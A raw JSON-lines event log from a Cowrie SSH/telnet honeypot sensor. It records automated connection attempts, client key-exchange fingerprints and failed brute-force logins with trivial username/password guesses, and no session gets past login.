{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:38.263549Z","src_ip":"94.26.106.229","session":"d099b447c89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"m","message":"login attempt [d/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:38.527894Z","src_ip":"94.26.106.229","session":"d099b447c89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42814,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc87db3bd410","protocol":"ssh","message":"New connection: 45.156.87.204:42814 (159.203.135.109:22) [session: fc87db3bd410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:38.900576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:39.063012Z","src_ip":"45.156.87.204","session":"fc87db3bd410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:39.072326Z","src_ip":"45.156.87.204","session":"fc87db3bd410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:39.559830Z","src_ip":"45.156.87.204","session":"fc87db3bd410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:39.618644Z","src_ip":"94.26.106.229","session":"d099b447c89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35812520980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:40.325449Z","src_ip":"152.42.224.71","session":"70b98cb902b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":39928,"dst_ip":"159.203.135.109","dst_port":22,"session":"32481f7291c3","protocol":"ssh","message":"New connection: 94.26.106.229:39928 (159.203.135.109:22) [session: 32481f7291c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:40.359947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:40.366742Z","src_ip":"94.26.106.229","session":"32481f7291c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:40.454443Z","src_ip":"94.26.106.229","session":"32481f7291c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:40.645791Z","src_ip":"45.156.87.204","session":"fc87db3bd410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:40.722178Z","src_ip":"94.26.106.229","session":"32481f7291c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:41.811440Z","src_ip":"94.26.106.229","session":"32481f7291c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":39954,"dst_ip":"159.203.135.109","dst_port":22,"session":"a775b724ae89","protocol":"ssh","message":"New connection: 94.26.106.229:39954 (159.203.135.109:22) [session: a775b724ae89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.500712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.504957Z","src_ip":"94.26.106.229","session":"a775b724ae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45576,"dst_ip":"159.203.135.109","dst_port":22,"session":"69f5e5984690","protocol":"ssh","message":"New connection: 45.156.87.204:45576 (159.203.135.109:22) [session: 69f5e5984690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.525591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.530384Z","src_ip":"45.156.87.204","session":"69f5e5984690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.596831Z","src_ip":"94.26.106.229","session":"a775b724ae89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.616706Z","src_ip":"45.156.87.204","session":"69f5e5984690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.863192Z","src_ip":"45.156.87.204","session":"69f5e5984690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:42.874975Z","src_ip":"94.26.106.229","session":"a775b724ae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51550,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f9bce17a37","protocol":"telnet","message":"New connection: 152.42.224.71:51550 (10.17.0.5:23) [session: 18f9bce17a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:43.244849Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:43.969275Z","src_ip":"94.26.106.229","session":"a775b724ae89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:44.055474Z","src_ip":"45.156.87.204","session":"69f5e5984690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45588,"dst_ip":"159.203.135.109","dst_port":22,"session":"029538fd6cba","protocol":"ssh","message":"New connection: 45.156.87.204:45588 (159.203.135.109:22) [session: 029538fd6cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:45.851470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:45.855663Z","src_ip":"45.156.87.204","session":"029538fd6cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:45.937872Z","src_ip":"45.156.87.204","session":"029538fd6cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:46.440837Z","src_ip":"45.156.87.204","session":"029538fd6cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16d08e07c4f","protocol":"telnet","message":"New connection: 152.42.224.71:41452 (10.17.0.5:23) [session: c16d08e07c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:46.915877Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:47.528022Z","src_ip":"45.156.87.204","session":"029538fd6cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45600,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e8c16d4998","protocol":"ssh","message":"New connection: 45.156.87.204:45600 (159.203.135.109:22) [session: d1e8c16d4998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:49.542059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:49.546394Z","src_ip":"45.156.87.204","session":"d1e8c16d4998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:49.628271Z","src_ip":"45.156.87.204","session":"d1e8c16d4998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:49.875289Z","src_ip":"45.156.87.204","session":"d1e8c16d4998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":26528,"dst_ip":"159.203.135.109","dst_port":22,"session":"69bb837f2dd5","protocol":"ssh","message":"New connection: 94.26.106.229:26528 (159.203.135.109:22) [session: 69bb837f2dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:49.978761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:49.982671Z","src_ip":"94.26.106.229","session":"69bb837f2dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:50.065820Z","src_ip":"94.26.106.229","session":"69bb837f2dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sasha","password":"sasha","message":"login attempt [sasha/sasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:50.318014Z","src_ip":"94.26.106.229","session":"69bb837f2dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:50.960966Z","src_ip":"45.156.87.204","session":"d1e8c16d4998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:51.404036Z","src_ip":"94.26.106.229","session":"69bb837f2dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41458,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a9728e5625","protocol":"telnet","message":"New connection: 152.42.224.71:41458 (10.17.0.5:23) [session: 68a9728e5625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:51.651065Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":39786,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c86eb0a3c0","protocol":"ssh","message":"New connection: 47.237.167.49:39786 (159.203.135.109:22) [session: 92c86eb0a3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.001493Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":26540,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad35df9bd052","protocol":"ssh","message":"New connection: 94.26.106.229:26540 (159.203.135.109:22) [session: ad35df9bd052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:52.154506Z"}
